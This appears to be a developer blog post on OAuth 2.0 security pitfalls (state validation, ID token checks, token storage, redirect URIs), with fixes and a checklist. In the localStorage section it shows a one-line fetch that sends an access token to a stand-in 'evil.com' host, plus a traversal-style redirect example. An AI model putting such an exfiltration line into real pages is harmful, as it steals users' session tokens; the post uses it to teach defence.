0x55aa
Back to Blog

OAuth 2.0 Security Pitfalls: Stop Trusting the Token Blindly šŸ”‘

|
6 min read

OAuth 2.0 Security Pitfalls: Stop Trusting the Token Blindly šŸ”‘

"Just use OAuth 2.0 — it's secure!" your senior dev says, waving their hand dismissively while sipping coffee.

So you copy a tutorial, wire up "Login with Google," ship it on Friday, and head into the weekend feeling like a security genius.

Monday morning: A researcher emails you a report showing they've been logging into any account they want.

Turns out OAuth 2.0 isn't "set it and forget it" — it's a protocol with landmines. Step on the wrong one and you've just handed attackers a skeleton key to your whole app. Let's defuse them together. šŸ’£

What OAuth 2.0 Actually Is (And Isn't) šŸ¤”

OAuth 2.0 is a delegation protocol — it lets users grant your app access to their data on another service without handing you their password.

What it is NOT:

  • āŒ An authentication protocol (that's OpenID Connect, built on top of OAuth)
  • āŒ A guarantee of security just because you're using it
  • āŒ An excuse to skip thinking

The most dangerous phrase in software: "We're using OAuth so we're good."

Pitfall #1: Skipping State Parameter Validation (CSRF on Auth) šŸŽ­

The state parameter prevents cross-site request forgery on the OAuth flow itself. Skip it and an attacker can trick your users into linking their account to the attacker's identity.

The Attack in 60 Seconds:

  1. Attacker starts an OAuth login on your site
  2. Captures the authorization URL before clicking "Authorize"
  3. Tricks a victim into visiting that URL
  4. Victim authorizes — attacker's session now has victim's access token

The Fix:

// BAD — no state validation
app.get('/auth/callback', async (req, res) => {
  const { code } = req.query;
  const token = await exchangeCodeForToken(code);
  // Attacker just hijacked this flow šŸŽ‰ (for them)
});

// GOOD — generate and verify state
app.get('/auth/start', (req, res) => {
  const state = crypto.randomBytes(16).toString('hex');
  req.session.oauthState = state;

  const authUrl = `https://provider.com/oauth/authorize?` +
    `client_id=${CLIENT_ID}&` +
    `redirect_uri=${REDIRECT_URI}&` +
    `state=${state}&` +
    `response_type=code`;

  res.redirect(authUrl);
});

app.get('/auth/callback', async (req, res) => {
  const { code, state } = req.query;

  // Verify state matches what we generated
  if (state !== req.session.oauthState) {
    return res.status(403).send('CSRF detected. Nice try. šŸ˜Ž');
  }

  const token = await exchangeCodeForToken(code);
  // Now we're cooking
});

Pitfall #2: Not Validating the ID Token (The "Who Are You?" Problem) šŸ•µļø

When using OpenID Connect (OAuth + identity layer), you get an ID token — a JWT asserting who the user is. Many devs just decode it and trust whatever's inside.

Here's the thing: anyone can create a JWT. Anyone. It takes about 30 seconds.

Always validate:

  • iss (issuer) — must match your provider's URL exactly
  • aud (audience) — must be your client ID, not any random app
  • exp (expiration) — reject tokens that are past their use-by date
  • Signature — verify against the provider's public key
import jwt
from jwt import PyJWKClient

# GOOD — proper ID token validation
def validate_id_token(id_token: str, client_id: str) -> dict:
    jwks_client = PyJWKClient("https://accounts.google.com/.well-known/jwks.json")
    signing_key = jwks_client.get_signing_key_from_jwt(id_token)

    payload = jwt.decode(
        id_token,
        signing_key.key,
        algorithms=["RS256"],
        audience=client_id,           # Must match YOUR client ID
        issuer="https://accounts.google.com",  # Must match provider
    )

    # payload is now cryptographically verified — trust it
    return payload

Skip any of those checks and an attacker can craft a token claiming to be anyone in your system, including your admin account.

Pitfall #3: Storing Tokens in localStorage (The XSS Buffet) šŸ½ļø

Every frontend tutorial that stores tokens in localStorage is setting a trap. If your app has any XSS vulnerability — a rogue dependency, an unsanitized string somewhere — attackers can steal every token with one line:

// Hacker's dream: your entire token, delivered to their server
fetch('https://evil.com/steal?t=' + localStorage.getItem('access_token'));

The better approach: Use HttpOnly cookies for token storage. JavaScript can't touch HttpOnly cookies — XSS is completely blind to them.

// Server-side: set token in an HttpOnly cookie
res.cookie('access_token', token, {
  httpOnly: true,   // JS can't read this
  secure: true,     // HTTPS only
  sameSite: 'Lax',  // CSRF mitigation
  maxAge: 3600000,  // 1 hour
});

Yes, you'll need to handle CSRF protection for your API calls now — but that's a much smaller attack surface than "every XSS in your app can steal all tokens."

Pitfall #4: Redirect URI Wildcards (Open Redirect City) 🚪

Your OAuth provider asks you to register a redirect_uri upfront — that's the URL it sends the authorization code back to. Some developers register wildcards like https://myapp.com/* or validate with a loose prefix match.

Attacker's dream scenario:

  1. Register https://myapp.com/../../evil.com as the redirect
  2. Provider sends the auth code to evil.com
  3. Attacker exchanges the code, gets the token, owns the account

The fix is boring but important: Register exact redirect URIs. If you need multiple, register them all explicitly. No wildcards. No subdomain patterns. Exact. Strings.

The Security Checklist Before You Ship šŸ“‹

  • state parameter generated per-request and validated on callback
  • ID tokens validated (signature, issuer, audience, expiration)
  • Access tokens stored in HttpOnly cookies, not localStorage
  • Redirect URIs are exact matches — no wildcards
  • Token scopes follow least privilege (request only what you need)
  • Refresh tokens are rotated on use (prevents token replay attacks)
  • PKCE enabled for public clients (mobile apps, SPAs)

Real Talk: OAuth Is a Protocol, Not a Magic Shield šŸ›”ļø

OAuth 2.0 done right is genuinely excellent — it keeps passwords off your servers and lets users revoke access at any time. Done wrong, it's a beautifully documented way to hand your app over to strangers.

The protocol spec is 76 pages. Tutorials show you page 1. The attacks live on pages 2 through 76.

Read the spec (or at least the OAuth 2.0 Security Best Current Practice), validate everything that comes from outside your trust boundary, and stop treating tokens like they're self-evidently trustworthy.

Your users are trusting you with their accounts. That trust is worth more than shipping an extra hour early.


Found this useful? Share it with someone who's copy-pasting OAuth tutorials without reading past the "Congratulations, you're logged in!" step. And if you want to dig deeper into auth security, come find me:

Stay skeptical out there. šŸ”

Thanks for reading!

Back to all posts